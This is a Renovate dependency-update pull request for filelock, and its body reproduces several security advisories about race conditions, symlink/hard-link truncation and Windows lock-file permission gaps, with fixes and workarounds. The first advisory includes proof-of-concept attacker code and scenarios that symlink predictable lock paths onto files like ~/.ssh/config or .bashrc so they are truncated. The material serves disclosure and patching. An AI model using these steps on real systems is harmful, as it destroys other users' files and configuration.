chore(deps): update dependency filelock to v4 [security] by renovate[bot] · Pull Request #25 · WoosterTech/AttrMagic

renovate · 2026-11-09T20:42:43Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
filelock (changelog)	`3.17.0` → `4.2.1`

filelock has a TOCTOU race condition which allows symlink attacks during lock file creation

CVE-2025-68146 / GHSA-w853-jp5j-5j7f

More information

Details

Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.

Who is impacted:

All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:

virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
poetry/tox users: through using virtualenv or filelock on their own.

Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.

Patches

Fixed in version 3.20.1.

Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.

Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().

Users should upgrade to filelock 3.20.1 or later immediately.

Workarounds

If immediate upgrade is not possible:

Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
Monitor lock file directories for suspicious symlinks before running trusted applications

Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

Unix/Linux/macOS (src/filelock/_unix.py:39-44):

def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate

Windows (src/filelock/_windows.py:19-28):

def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate

The Race Window

The vulnerability exists in the gap between operations:

Unix variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Windows variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Step-by-Step Attack Flow

1. Attacker Setup:

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target

2. Attacker Creates Race Condition:

import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()

3. Victim Application Runs:

from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!

4. What Happens Inside os.open():

On Unix systems, when os.open() is called:

// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}

Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.

Why the Attack Succeeds Reliably

Timing Characteristics:

Check operation (Path.exists()): ~100-500 nanoseconds
Symlink creation (os.symlink()): ~1-10 microseconds
Race window: ~1-5 microseconds (very small but exploitable)
Thread scheduling quantum: ~1-10 milliseconds

Success factors:

Tight loop: Running attack in a loop hits the race window within 1-3 attempts
CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
No synchronization: No atomic file creation prevents the race
Symlink speed: Creating symlinks is extremely fast (metadata-only operation)

Real-World Attack Scenarios

Scenario 1: virtualenv Exploitation

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker

Scenario 2: PyTorch Cache Poisoning

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS

Why Standard Defenses Don't Help

File permissions don't prevent this:

Attacker doesn't need write access to victim_file
os.open() with O_TRUNC follows symlinks using the victim's permissions
The victim process truncates its own file

Directory permissions help but aren't always feasible:

Lock files often created in shared /tmp directory (mode 1777)
Applications may not control lock file location
Many apps use predictable paths in user-writable directories

File locking doesn't prevent this:

The truncation happens during the open() call, before any lock is acquired
fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks

Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

Simple Direct Attack (filelock_simple_poc.py):

Success rate: 33% per attempt (1 in 3 tries)
Average attempts to success: 2.1
Target file reduced to 0 bytes in <100ms

virtualenv Attack (weaponized_virtualenv.py):

Success rate: ~90% on first attempt (deterministic timing)
Information leaked: File paths, Python version, system configuration
Data corruption: Complete loss of original file contents

PyTorch Attack (weaponized_pytorch.py):

Success rate: 25-40% per attempt
Impact: Application crashes, model loading failures
Recovery: Requires cache rebuild or model retraining

Discovered and reported by: George Tsigourakos (@tsigouris007)

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock

CVE-2026-22701 / GHSA-qmgc-5h2g-mvrw

More information

Details

Vulnerability Summary

Title: Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock

Affected Component: filelock package - SoftFileLock class
File: src/filelock/_soft.py lines 17-27
CWE: CWE-362, CWE-367, CWE-59

Description

A TOCTOU race condition vulnerability exists in the SoftFileLock implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly.

The vulnerability occurs in the _acquire() method between raise_on_not_writable_file() (permission check) and os.open() (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service.

Attack Scenario

1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails

Impact

What kind of vulnerability is it? Who is impacted?

This is a Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability affecting any application using SoftFileLock for inter-process synchronization.

Affected Users:

Applications using filelock.SoftFileLock directly
Applications using the fallback FileLock on systems without fcntl support (e.g., GraalPy)

Consequences:

Silent lock acquisition failure - applications may not detect that exclusive resource access is not guaranteed
Denial of Service - attacker can prevent lock file creation by maintaining symlink
Resource serialization failures - multiple processes may acquire "locks" simultaneously
Unintended file operations - lock could operate on attacker-controlled files

CVSS v4.0 Score: 5.6 (Medium)
Vector: CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

Attack Requirements:

Local filesystem access to the directory containing lock files
Permission to create symlinks (standard for regular unprivileged users on Unix/Linux)
Ability to time the symlink creation during the narrow race window

Patches

Has the problem been patched? What versions should users upgrade to?

Yes, the vulnerability has been patched by adding the O_NOFOLLOW flag to prevent symlink following during lock file creation.

Patched Version: Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0)

Mitigation Details:

The O_NOFOLLOW flag is added conditionally and gracefully degrades on platforms without support
On platforms with O_NOFOLLOW support (most modern systems): symlink attacks are completely prevented
On platforms without O_NOFOLLOW (e.g., GraalPy): TOCTOU window remains but is documented

Users should:

Upgrade to the patched version when available
For critical deployments, consider using UnixFileLock or WindowsFileLock instead of the fallback SoftFileLock

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For users unable to update immediately:

Avoid SoftFileLock in security-sensitive contexts - use UnixFileLock or WindowsFileLock when available (these were already patched for CVE-2025-68146)
Restrict filesystem permissions - prevent untrusted users from creating symlinks in lock file directories:
```
chmod 700 /path/to/lock/directory
```
Use process isolation - isolate untrusted code from lock file paths to prevent symlink creation
Monitor lock operations - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations

References

Are there any links users can visit to find out more?

Similar Vulnerability: CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock)
CWE-362 (Concurrent Execution using Shared Resource): https://cwe.mitre.org/data/definitions/362.html
CWE-367 (Time-of-check Time-of-use Race Condition): https://cwe.mitre.org/data/definitions/367.html
CWE-59 (Improper Link Resolution Before File Access): https://cwe.mitre.org/data/definitions/59.html
O_NOFOLLOW documentation: https://man7.org/linux/man-pages/man2/open.2.html
GitHub Repository: https://github.com/tox-dev/filelock

Reported by: George Tsigourakos (@tsigouris007)

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

filelock: WindowsFileLock ignores mode: a 0o600 lock file and the ReadWriteLock database inherit the directory ACL

CVE-2026-112910 / GHSA-8mx5-7m5m-r77g

More information

Details

filelock on Windows ignores the mode argument. FileLock(path, mode=0o600) creates the same file as FileLock(path): one with no security descriptor of its own (the Windows record that says who may access a file). Its access list, or ACL, is whatever the lock directory hands down to new files. filelock creates the ReadWriteLock database, which it asks to be 0o600, the same way. In a directory whose inheritable ACL grants other local accounts access to new files, those accounts can open the lock file or database. They can take the byte-range lock (a lock on a span of bytes in a file) once the owner releases it and keep the owner's later acquire() calls waiting or timing out. They can read holder metadata an on_acquired hook left in a preserve_lock_file=True file. Where the directory hands down modify access, they can write to both files.

lock.mode still reports 0o600. The documentation neither promises an ACL on Windows nor says that Windows drops the mode. On Unix the same mode keeps other accounts out. Mutual exclusion between processes that follow the protocol holds on either platform. Affected versions are filelock 3.10.0 through 4.2.0 on Windows.

Anthropic's OSS Scanner reported this in private. Finding covered by this advisory:

ANT-2026-0KEO0DDO [medium, CWE-732]: WindowsFileLock ignores mode; 0o600 lock files inherit the directory ACL.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L scores 5.3 (Medium).

AV:L (local): the other account needs a logon on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): no race. C:L (partial confidentiality impact): the lock file (holder metadata) and the lock database are readable where 0o600 was meant to keep them private. I:L (partial integrity impact): in the directory layout the maintainers tested, the other account can also write both files, which lets it corrupt the lock's own state but nothing the lock protects. A:L (partial availability impact): the other account can hold the byte-range lock and make the owner wait or time out. S:U (scope unchanged).

Classification from the review: Windows permission failure with security impact only where callers rely on mode=0o600 across accounts. The review had marked it an unconfirmed Windows claim, since the scanner traced stand-in Win32 calls on Linux. The maintainers have since confirmed it on Windows with two local accounts (see Evidence). The scanner rated this medium; the maintainers keep medium.

Scope and preconditions

The affected classes are FileLock and AsyncFileLock on Windows (WindowsFileLock), and the SQLite database of ReadWriteLock and AsyncReadWriteLock. Both go through _open_non_reparse_fd. The soft locks create their markers with os.open, which also keeps only a read-only bit of the mode on Windows; the scanner did not examine them further.
The directory is one that other local accounts cannot write, which the documentation already requires on Windows, but whose inheritable entries grant them read (or modify) access to new files. Examples are a service's data directory readable by Users, or any directory with (OI)(CI) entries (entries that new files and sub-directories inherit) for another account. A directory whose ACL already excludes other accounts, such as one inside a user profile, hides the problem.
The other account must open the file. According to the LockFileEx documentation, read access is enough to take the byte-range lock, so it can hold the lock whenever the owner does not. The lock file exists while the owner holds the lock, and stays after release with preserve_lock_file=True. The ReadWriteLock database is not unlinked at any point.
Unix is not affected, because UnixFileLock creates the file with the mode and repeats it with fchmod. Mutual exclusion between cooperating processes is not affected.

Affected code

Scanned commit b831496b0273: _open_non_reparse_fd reduces the mode to one read_only bit. That bit is false for every accepted mode, because _check_mode rejects any mode without owner read and write, and an unset mode becomes 0o666. In _nt_open the OBJECT_ATTRIBUTES.SecurityDescriptor field stays unassigned, and read_only only chooses FILE_ATTRIBUTE_READONLY. _open_lock_database passes 0o600 through the same function on Windows.

Introduced

d0061e4 "added multiuser support and associated tests" (#192, 2023-03-15), first tag 3.10.0 (verified), added the mode parameter and on Windows handed it to os.open, which applies only the read-only attribute. The Windows backend has applied no more of the mode than that at any version, so this is a long-standing gap rather than a regression.

Mechanism

_open_non_reparse_fd(path, mode) computes read_only = not mode & _OWNER_WRITE and calls _nt_open(path, read_only=read_only). _nt_open fills an OBJECT_ATTRIBUTES with the NT path and OBJ_CASE_INSENSITIVE and leaves SecurityDescriptor NULL. It then calls NtCreateFile with FILE_OPEN_IF and FILE_ATTRIBUTE_NORMAL (or FILE_ATTRIBUTE_READONLY when read_only, which no accepted mode produces). Nothing consults the group and other bits. Per the NtCreateFile and OBJECT_ATTRIBUTES documentation, a NULL descriptor gives the new file default security, which on NTFS is the set of inheritable entries of the parent directory. A lock file created with mode=0o600 in a directory that hands down read access to Users is therefore readable by Users.

Nothing tells the caller. The constructor validates the mode, lock.mode returns 0o600, and has_explicit_mode is True. docs/concepts.rst says "filelock creates the file with it" and that "0o600 and 0o700 keep other UIDs out", with no Windows caveat. Only the _open_non_reparse_fd docstring and a comment in _soft.py record the limitation.

Reproduction

The scanner's reproducer for ANT-2026-0KEO0DDO, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import tempfile

private_job = "/tmp/repro.d/job_with_private_lock.py"  # with FileLock(path, mode=0o600)
default_job = "/tmp/repro.d/job_with_default_lock.py"  # with FileLock(path)
on_windows_backend = "/tmp/repro.d/run_on_windows_backend.py"  # prints every Win32 call filelock makes

os.umask(0o022)
locks = tempfile.mkdtemp()

##### control: UnixFileLock, which leaves the lock file behind
subprocess.run([sys.executable, private_job, f"{locks}/private.lock"], check=True)
subprocess.run([sys.executable, default_job, f"{locks}/default.lock"], check=True)
unix_private_mode = os.stat(f"{locks}/private.lock").st_mode & 0o777
unix_default_mode = os.stat(f"{locks}/default.lock").st_mode & 0o777

##### trigger: the same two programs on WindowsFileLock, same lock name so the call lists can be compared whole
windows_private = [sys.executable, on_windows_backend, private_job, f"{locks}/job.lock"]
windows_default = [sys.executable, on_windows_backend, default_job, f"{locks}/job.lock"]
windows_private_calls = subprocess.run(windows_private, check=True, capture_output=True, text=True).stdout.splitlines()
windows_default_calls = subprocess.run(windows_default, check=True, capture_output=True, text=True).stdout.splitlines()
shutil.rmtree(locks)

##### check: mode=0o600 must reach the OS; on Windows that means a security descriptor on NtCreateFile
print(f"CONTROL  UnixFileLock FileLock(path, mode=0o600): lock file mode {unix_private_mode:#o}")
print(f"CONTROL  UnixFileLock FileLock(path):             lock file mode {unix_default_mode:#o}")
for call in windows_private_calls:
    print(f"OBSERVED WindowsFileLock FileLock(path, mode=0o600): {call}")
for call in windows_default_calls:
    print(f"OBSERVED WindowsFileLock FileLock(path):             {call}")
print(f"OBSERVED the two Win32 call lists are identical: {windows_private_calls == windows_default_calls}")

honoured_on_unix = unix_private_mode == 0o600 and unix_default_mode == 0o644
private_create = next(call for call in windows_private_calls if call.startswith("NtCreateFile("))
dropped_on_windows = (
    "ObjectAttributes.SecurityDescriptor=None" in private_create
    and windows_private_calls == windows_default_calls
)
print("BUG" if honoured_on_unix and dropped_on_windows else "OK")

repro.d/job_with_default_lock.py

import sys

from filelock import FileLock

with FileLock(sys.argv[1]):
    pass

repro.d/job_with_private_lock.py

import sys

from filelock import FileLock

with FileLock(sys.argv[1], mode=0o600):
    pass

repro.d/run_on_windows_backend.py

import ctypes
import fcntl
import os
import runpy
import sys
import types

##### Stand-ins for the ntdll, kernel32 and msvcrt functions filelock's Windows backend calls. Each prints the call with

##### the arguments filelock passed, then does the nearest Linux thing so the program runs to its end.

def RtlDosPathNameToNtPathName_U_WithStatus(dos_path, nt_name, _file_part, _relative_name):
    print(f"RtlDosPathNameToNtPathName_U_WithStatus({os.path.basename(dos_path)!r})")
    nt_name._obj.Buffer = os.path.abspath(dos_path)
    return 0  # STATUS_SUCCESS

def NtCreateFile(
    handle, access, attributes, _io_status, allocation_size, file_attributes, share, disposition, options, ea, ea_length
):
    object_attributes = attributes._obj
    print(
        f"NtCreateFile(DesiredAccess={access:#x},"
        f" ObjectAttributes.Attributes={object_attributes.Attributes:#x},"
        f" ObjectAttributes.SecurityDescriptor={object_attributes.SecurityDescriptor},"
        f" AllocationSize={allocation_size}, FileAttributes={file_attributes:#x}, ShareAccess={share:#x},"
        f" CreateDisposition={disposition}, CreateOptions={options:#x}, EaBuffer={ea}, EaLength={ea_length})"
    )
    path = object_attributes.ObjectName.contents.Buffer
    handle._obj.value = os.open(path, os.O_RDWR | os.O_CREAT | os.O_NOFOLLOW)
    return 0  # STATUS_SUCCESS

def RtlFreeUnicodeString(_nt_name):
    print("RtlFreeUnicodeString()")

def GetFileInformationByHandle(_handle, info):
    print("GetFileInformationByHandle()")
    info._obj.dwFileAttributes = 0x80  # FILE_ATTRIBUTE_NORMAL: not a reparse point
    return True

def LockFileEx(handle, flags, _reserved, bytes_low, bytes_high, _overlapped):
    print(f"LockFileEx(dwFlags={flags:#x}, nNumberOfBytesToLockLow={bytes_low}, nNumberOfBytesToLockHigh={bytes_high})")
    fcntl.flock(handle, fcntl.LOCK_EX)
    return True

def UnlockFileEx(handle, _reserved, bytes_low, bytes_high, _overlapped):
    print(f"UnlockFileEx(nNumberOfBytesToUnlockLow={bytes_low}, nNumberOfBytesToUnlockHigh={bytes_high})")
    fcntl.flock(handle, fcntl.LOCK_UN)
    return True

##### only a filelock that builds a security descriptor for the lock file calls this
def ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, _revision, descriptor, _size):
    print(f"ConvertStringSecurityDescriptorToSecurityDescriptorW({sddl!r})")
    descriptor._obj.value = 1  # any address but NULL
    return True

##### filelock sets argtypes on these at import; a lock taken without contention never calls them
def not_called(*_arguments):
    raise NotImplementedError

dlls = {
    "ntdll": types.SimpleNamespace(
        RtlDosPathNameToNtPathName_U_WithStatus=RtlDosPathNameToNtPathName_U_WithStatus,
        NtCreateFile=NtCreateFile,
        RtlFreeUnicodeString=RtlFreeUnicodeString,
        RtlNtStatusToDosError=not_called,
    ),
    "kernel32": types.SimpleNamespace(
        GetFileInformationByHandle=GetFileInformationByHandle,
        LockFileEx=LockFileEx,
        UnlockFileEx=UnlockFileEx,
        CloseHandle=not_called,
        OpenProcess=not_called,
        GetProcessTimes=not_called,
    ),
    "advapi32": types.SimpleNamespace(
        ConvertStringSecurityDescriptorToSecurityDescriptorW=ConvertStringSecurityDescriptorToSecurityDescriptorW,
    ),
}

##### Import filelock once on the real platform, so the standard library modules it uses load their Linux versions, then

##### drop it and import it again with the Windows branches active. A HANDLE is the Linux descriptor number.
import filelock  # noqa: E402

for name in [name for name in sys.modules if name.split(".")[0] == "filelock"]:
    del sys.modules[name]

ctypes.WinDLL = lambda name, use_last_error=False: dlls[name]
sys.modules["msvcrt"] = types.SimpleNamespace(open_osfhandle=lambda handle, _flags: handle, get_osfhandle=lambda fd: fd)
os.O_NOINHERIT = 0
sys.platform = "win32"

import filelock  # noqa: E402, F811

assert filelock.FileLock is filelock.WindowsFileLock

sys.argv = sys.argv[1:]
runpy.run_path(sys.argv[0], run_name="__main__")

Failure sequence

sequenceDiagram
    participant O as owner process: FileLock(path, mode=0o600)
    participant N as NtCreateFile
    participant F as lock file (inherits the directory ACL)
    participant U as other local account
    O->>N: _open_non_reparse_fd(path, 0o600): read_only=False, SecurityDescriptor=NULL
    rect rgb(255, 214, 214)
        N-->>F: created with the parent's inheritable entries only, group and other bits not consulted
        Note over F: the file reports mode 0o600 to the owner, the ACL says otherwise
    end
    O->>F: LockFileEx (holds the lock), release, unlock
    U->>F: open for read (and write, where the directory hands down modify)
    U->>F: LockFileEx through that handle
    O->>F: acquire() -> waits or Timeout while U holds the byte-range lock
    U->>F: read holder metadata left by on_acquired with preserve_lock_file=True

Evidence

The scanner's reproducer runs on a Linux image. It imports filelock's unmodified Windows backend with sys.platform == "win32" over stand-ins that print every Win32 call. The program with mode=0o600 and the one without produce identical call lists (RtlDosPathNameToNtPathName_U_WithStatus, NtCreateFile with FileAttributes=0x80 and ObjectAttributes.SecurityDescriptor=None, RtlFreeUnicodeString, GetFileInformationByHandle, LockFileEx, UnlockFileEx), while the Unix control produced 0o600 and 0o644 files. It prints OBSERVED the two Win32 call lists are identical: True and BUG. The scanner stated that it inferred the resulting ACL, and what another user can then do, from the documentation and did not run on Windows.

Maintainer triage: the stand-in reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image.

Maintainer verification on Windows 11 with two local accounts: a script creates private.lock with FileLock(mode=0o600, preserve_lock_file=True), default.lock without a mode, and a ReadWriteLock database lock.db as the first account, in a directory granted (OI)(CI)(M) to a second account that is a member of Users. It then opens each file under the second account's logon token with LogonUserW and ImpersonateLoggedOnUser. On 4.2.0 the second account could open private.lock and lock.db for both read and write, the same as default.lock, and icacls listed only inherited (I) entries on all three. This confirms the claim the review had marked unconfirmed.

Impact

A program that passes mode=0o600 so that other accounts cannot open its lock file gets no such restriction on Windows. In a directory that hands down read access, another account can hold the lock and make the owner wait or time out, and read holder metadata in a preserved lock file. Where the directory hands down modify access, as in the maintainers' test, it can also write the lock file and the ReadWriteLock database. With the mode honoured, as on Unix, a user without write access to the directory can do none of this. The exposure ends there: the effect reaches only the lock file or lock database, and mutual exclusion between processes that follow the protocol still holds.

Workarounds

On Windows, keep lock files and ReadWriteLock databases in a directory whose ACL already excludes other accounts (inside the user profile, or a directory with inheritance disabled and only the owner, SYSTEM and Administrators granted), rather than relying on mode.
After creating a lock file with preserve_lock_file=True or a ReadWriteLock database, set its ACL yourself, for example icacls <file> /inheritance:r /grant:r "<owner>:F" "SYSTEM:F" "Administrators:F"; a file that exists keeps its ACL on later opens.
Do not store anything confidential in the lock file through on_acquired on Windows.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

2026-10-15 23:08 UTC: report received (36 findings; this one rated medium by the scanner)
2026-10-16 05:38 UTC: draft advisory created (first as part of GHSA-69hj-f68j-2879, then split out); two-account verification on Windows by the maintainers
2026-10-16 01:16 UTC: fix PR #835 opened

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path

CVE-2026-112909 / GHSA-69hj-f68j-2879

More information

Details

UnixFileLock, the backend of FileLock and AsyncFileLock on Unix, empties whatever regular file it finds at the lock path once it holds the flock (a kernel lock on an open file). With an explicit mode it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next acquire(). A hard link is a second name for the same file. With a mode such as 0o666 the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.

O_NOFOLLOW, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as /tmp needs fs.protected_hardlinks=0, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).

Anthropic's OSS Scanner reported this in private. Finding covered by this advisory:

ANT-2026-KO573NWI [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N scores 6.1 (Medium).

AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. I:H (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit mode the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. C:L (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. A:N (no availability impact). S:U (scope unchanged).

Classification from the review: security, conditional on another user controlling names in a non-sticky directory on the lock's filesystem (or on fs.protected_hardlinks=0). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.

Scope and preconditions

Lock classes: FileLock and AsyncFileLock on Unix (UnixFileLock). SoftFileLock applies an explicit mode only to a file it created with O_CREAT | O_EXCL and does not truncate an existing file. WindowsFileLock has not truncated at any version.
The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a /tmp cleaner, or after a release with the default preserve_lock_file=False, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:
- rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created 0777 directory);
- rename from such a directory into a sticky one (1777) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with EPERM;
- link(2) into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means fs.protected_hardlinks=0. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.
What the lock user loses: with the default FileLock(path) the lock truncates the file, which keeps its mode. With an explicit mode (a lock shared between users needs 0o666 or 0o660, because UnixFileLock opens the file read-write), the lock also chmods the file to that mode. _apply_explicit_mode suppresses PermissionError only for files the lock user does not own. The lock user owns its own files, so the fchmod succeeds.
Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.
Not affected: a symlink (a file that points at another path) at the lock path, because O_NOFOLLOW makes the open fail with ELOOP; mutual exclusion between cooperating processes.

Affected code

Scanned commit b831496b0273: UnixFileLock._finalize_locked_fd, whose os.ftruncate and _apply_explicit_mode calls have only the st_nlink != 0 guard (the file still has at least one name); _apply_explicit_mode; _open_lock_file, which learns from its O_EXCL create whether this attempt made the file but hands that flag only to the ENOSYS fallback.

Introduced

The truncation of whatever is at the lock path dates from the initial commit (2157efb, which opened with O_TRUNC). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with d7e1e84 "changed from os.umask to os.chmod" (#206, 2023-03-22), first tag 3.10.2 (verified with git tag --contains). Before it the code passed the mode only to open(), which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range >= 3.10.0 understated it, as the review noted.

Mechanism

_open_lock_file first tries os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode). With the lock user's file renamed to the lock path that fails with FileExistsError. The second os.open(path, O_RDWR | O_NOFOLLOW) succeeds, because the entry is a regular file the lock user owns, and returns created = False. _acquire_native passes created only to the ENOSYS branch. No process holds a flock on the renamed file, so _lock_fd_nonblocking(fd) succeeds at once and _finalize_locked_fd(fd) runs: os.fstat, st_nlink != 0, os.ftruncate(fd, 0), then os.fchmod(fd, mode) when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. O_NOFOLLOW does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. AsyncUnixFileLock inherits _finalize_locked_fd unchanged.

